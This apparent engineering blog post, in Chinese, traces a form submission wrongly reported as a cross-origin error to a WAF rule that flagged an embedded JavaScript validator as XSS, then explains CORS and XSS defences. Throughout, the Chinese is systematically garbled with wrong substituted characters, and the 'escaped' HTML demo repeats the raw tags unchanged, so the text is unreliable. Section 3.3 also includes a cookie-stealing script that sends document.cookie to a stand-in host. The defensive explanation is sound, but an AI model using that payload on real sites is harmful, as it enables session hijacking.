vivo 互联网服务器团队 - Wei Ling
本文次要讲述的是如何依据公司网络架构和业务特点,锁定失常申请被误判为跨域的起因并解决。
一、问题形容
某一个业务后盾在表单提交的时候,报跨域谬误,具体如下图:
从图中可看出,报错起因为 HTTP 申请发送失败,由此,需先理解 HTTP 申请残缺链路是什么。
HTTP 申请个别通过 3 个关卡,别离为 DNS、Nginx、Web 服务器,具体流程如下图:
- 浏览器发送申请首先达到当地运营商 DNS 服务器,通过域名解析获取申请 IP 地址
- 浏览器获取 IP 地址后,发送 HTTP 申请达到 Nginx,由 Nginx 反向代理到 Web 服务端
- 最初,由 web 服务端返回相应的资源
理解 HTTP 根本申请链路后,联合问题,进行初步考察,发现此 form 表单是 application/json 格局的 post 提交。同时,此业务零碎采纳了前后端拆散的架构形式 (页面域名和后盾服务域名不同), 并且在 Nginx 曾经配置跨域解决方案。基于此,咱们进行剖析。
二、问题排查步骤
第一步:自测定位
既然是 form 表单,咱们采纳控制变量法,尝试对每一个字段进行批改后提交测试。在屡次试验后,锁定表单中的 moduleExport 字段的变动会导致这个问题 。
思考到 moduleExport 字段在业务上是一段 JS 代码,咱们尝试对这段 JS 代码进行删除 / 批改,发现: 当字段 moduleExport 中的这段 js 代码足够小的时候,问题隐没。
基于上述发现,咱们第一个猜测是:会不会是 HTTP 响应方的申请 body 大小限度导致了这个问题。
第二步:排查 HTTP 申请 body 限度
因为采纳前后端拆散,实在的申请是由 XXX.XXX.XXX 这个内网域名代表的服务进行响应的。而内网域名的响应链如下:
那么实践上,如果是 HTTP 申请 body 的限度,则可能产生在 LVS 层或者 Nginx 层或者 Tomcat。咱们一步步排查:
首先排查 LVS 层。 若 LVS 层故障,则会呈现网关异样的问题,返回码会为 502。故此,通过抓包查看返回码,从下图可看出,返回码为 418,故而排除 LVS 异样的可能
其次排查 Nginx 层。Nginx 层的 HTTP 配置如下:
咱们看到,在 Nginx 层,最大反对的 HTTP 申请 body 为 50m,而咱们这次事变的 form 申请表单,大概在 2M,远小于限度,所以: 不是 Nginx 层 HTTP 申请 body 的限度造成的 。
而后排查 Tomcat 层,查看 Tomcat 配置:
咱们发现,Tomcat 对于最大 post 申请的 size 限度是 -1,语义上示意为无限度,所以: 不是 Tomcat 层 HTTP 申请 body 的限度造成的。
综上,咱们能够认为: 此次问题和 HTTP 申请 body 的大小限度无关。
那么问题来了,如果不是这两层导致的,那么还会有别的因素或者别的网络层导致的吗?
第三步:集思广益
咱们把相干的运维方拉到了一个群外面进行探讨,探讨分两个阶段
- 【第一阶段】
运维方同学发现 Tomcat 是应用容器进行部署的,而容器和 nginx 层两头,存在一个容器自带的 nameserver 层——ingress。咱们查看 ingress 的相干配置后,发现其对于 HTTP 申请 body 的大小限度为 3072m。排除是 ingress 的起因。
- 【第二阶段】
平安方同学示意,公司为了避免 XSS 攻打,会对于所有后盾申请,都进行 XSS 攻打的校验,如果校验不通过,会报跨域谬误。
也就是说,实践上残缺的网络层调用链如下图:
并且从 WAF 的工作机制和问题表象上来看, 很有可能是 WAF 层的起因 。
第四步:WAF 排查
带着上述的猜想,咱们从新抓包,尝试获取整个 HTTP 申请的 optrace 门路,看看是不是在 WAF 层被拦挡了,抓包后果如下:
从抓包数据上来看,status 为 complete 代表前端申请发送胜利,返回码为 418,而 optrace 中的 ip 地址经查问为 WAF 服务器 ip 地址 。
综上而言,form 表单中的 moduleExport 字段的变动很可能导致在 WAF 层被拦挡 。而呈现问题的 moduleExport 字段内容如下:
module.exports = {
"labelWidth": 80,
"schema": {
"title": "XXX",
"type": "array",
"items":{
"type":"object",
"required":["key","value"],
"properties":{
"conf":{
"title":"XXX",
"type":"string"
},
"configs":{
"title":"XXX",
"type":"array",
"items":{
......
config: {
......
validator: function(value, callback) {
// 至多填写一项
if(!value || !Object.keys(value).length) {return callback(new Error('至多填写一项'))
}
callback()}
}
......
}
咱们进行一个字段一个字段排查后,锁定 module.exports.items.properties.configs.config.validator 字段会触发 WAF 的拦挡机制:申请包过 WAF 模块时会对所有的攻打规定都会进行匹配,若属于高危危险规定,则触发拦挡动作。
三、问题剖析
整个故障的起因,是业务申请的内容触发了 WAF 的 XSS 攻打检测。那么问题来了
- 为什么须要 WAF
- 什么是 XSS 攻打
在阐明 XSS 之前,先得说分明浏览器的跨域爱护机制
3.1 跨域爱护机制
古代浏览器都具备‘同源策略’,所谓同源策略,是指只有在地址的:
- 协定名 HTTPS,HTTP
- 域名
- 端口名
均一样的状况下,才容许拜访雷同的 cookie、localStorage 或是发送 Ajax 申请等等。若在不同源的状况下拜访,就称为跨域。而在日常开发中,存在正当的跨域需要,比方此次问题故障对应的零碎,因为采纳了前后端拆散,导致页面的域名和后盾的域名必然不雷同。那么如何正当跨域便成了问题。
常见的跨域解决方案有:IFRAME, JSONP, CORS 三种。
- IFRAME 是在页面外部生成一个 IFRAME,并在 IFRAME 外部动静编写 JS 进行提交。用到此技术的有晚期的 EXT 框架等等。
- JSONP 是将申请序列化成一个 string,而后发动一个 JS 申请,带上 string。此做法须要后盾反对,并且只能应用 GET 申请。在以后的业内曾经破除此计划。
- CORS 协定的利用比拟宽泛,并且此次出事变的零碎是采纳了 CORS 进行前后端拆散。那么,什么是 CORS 协定呢?
3.2 CORS 协定
CORS(Cross-Origin Resource Sharing) 跨源资源分享是解决浏览器跨域限度的 W3C 规范 (官网文档),其外围思路是:在 HTTP 的申请头中设置相应的字段,浏览器在发现 HTTP 申请的相干字段被设置后,则会失常发动申请,后盾则通过对这些字段的校验,决定此申请是否是正当的跨域申请。
CORS 协定须要服务器的反对 (非服务器的业务过程),比方 Tomcat 7 及其当前的版本等等。
对于开发者来说,CORS 通信与同源的 AJAX 通信没有差异,代码齐全一样。浏览器一旦发现 AJAX 申请跨源,就会主动增加一些附加的头信息,有时还会多出一次附加的申请,但用户不会有感觉。
因而, 实现 CORS 通信的要害是服务器 (服务器端可判断,让哪些域能够申请)。只有服务器实现了 CORS 协定,就能够跨源通信。
尽管 CORS 解决了跨域问题,但引入了危险,如 XSS 攻打,因而在达到服务器之前需加一层 Web 利用防火墙 (WAF),它的作用是:过滤所有申请,当发现申请是跨域时,会对整个申请的报文进行规定匹配,如果发现规定不匹配,则间接报错返回 (相似于此次案例中的 418)。
整体流程如下:
不合理的跨域申请,咱们个别认为是侵略性申请,这一类的申请,咱们视为 XSS 攻打。那么狭义而言的 XSS 攻打又是什么呢?
3.3 XSS 攻打机制
XSS 为跨站脚本攻打(Cross-Site Scripting)的缩写,能够将代码注入到用户浏览的网页上,这种代码包含 HTML 和 JavaScript。
例如有一个论坛网站,攻击者能够在下面公布以下内容:
<script>location.href="//domain.com/?c=" + document.cookiescript>
之后该内容可能会被渲染成以下模式:
<p><script>location.href="//domain.com/?c=" + document.cookie</script></p>
另一个用户浏览了含有这个内容的页面将会跳转到 domain.com 并携带了以后作用域的 Cookie。如果这个论坛网站通过 Cookie 治理用户登录状态,那么攻击者就能够通过这个 Cookie 登录被攻击者的账号了。
XSS 通过伪造虚伪的输出表单骗取个人信息、显示伪造的文章或者图片等形式可窃取用户的 Cookie,盗用 Cookie 后就可假冒用户拜访各种零碎,危害极大。
上面给出 2 种 XSS 防御机制。
3.4 XSS 防御机制
XSS 防御机制次要包含以下两点:
3.4.1 设置 Cookie 为 HTTPOnly
设置了 HTTPOnly 的 Cookie 能够避免 JavaScript 脚本调用,就无奈通过 document.cookie 获取用户 Cookie 信息。
3.4.2 过滤特殊字符
例如将 < 本义为 <,将 \> 本义为 >,从而防止 HTML 和 Jascript 代码的运行。
富文本编辑器容许用户输出 HTML 代码,就不能简略地将 < 等字符进行过滤了,极大地提高了 XSS 攻打的可能性。
富文本编辑器通常采纳 XSS filter 来防备 XSS 攻打,通过定义一些标签白名单或者黑名单,从而不容许有攻击性的 HTML 代码的输出。
以下例子中,form 和 script 等标签都被本义,而 h 和 p 等标签将会保留。
<h1 id="title">XSS Demo</h1>
<p>123</p>
<form>
<input type="text" name="q" value="test">
</form>
<pre>hello</pre>
<script type="text/javascript">
alert(/xss/);
</script>
<h1>XSS Demo</h1>
<p>123</p>
本义后:
<h1>XSS Demo</h1>
<p>123</p>
<form>
<input type="text" name="q" value="test">
</form>
<pre>hello</pre>
<script type="text/javascript">
alert(/xss/);
</script>
四、问题解决
在确定问题后,让平安团队批改 WAF 的拦挡规定后,问题隐没。
最初,对此问题进行总结。
五、问题总结
纵览整个排查过程,最消耗资源的工作集中于问题定位:到底是哪个模块呈现了问题。而定位模块的最大难点在于:对于网络全链路的不理解 (之前并不通晓 WAF 层的存在)。
那么,针对相似的问题,咱们前面应该如何去减速问题的解决呢?我认为有两点须要留神:
- 采纳控制变量法,精准定位到问题的边界——什么时候能呈现,什么时候不能呈现。
- 相熟每一个模块的存在,以及每一个模块的职责边界和危险可能。
上面来一一解释:
5.1 确定问题边界
咱们在一开始,确定是 form 表单导致的问题后,咱们就一一字段进行批改验证,最终确定其中某个字段导致的景象。在定位到具体的问题发生地后,由将之前锁定的字段进行拆解,逐渐剖析字段中每个属性,从而最终确定 XX 属性的值触犯了 WAF 的规定机制。
5.2 定位模块谬误
在此案例中,跨域回绝的故障次要是网络层,那么咱们就必须要摸清楚整个业务服务的网络层次结构。而后对每一层的状况进行剖析。
- 在 Nginx 层,咱们对配置文件进行剖析
- 在 ingress 层,咱们对其中的配置规定进行剖析
- 在 Tomcat 层,咱们对 server.xml 的属性进行剖析
总结而言,咱们必须相熟每一个模块的职责,并且通晓如何判断每一个模块是否在整个链路中失常工作,只有基于此,咱们能力将问题起因的范畴逐渐放大,从而最初取得答案。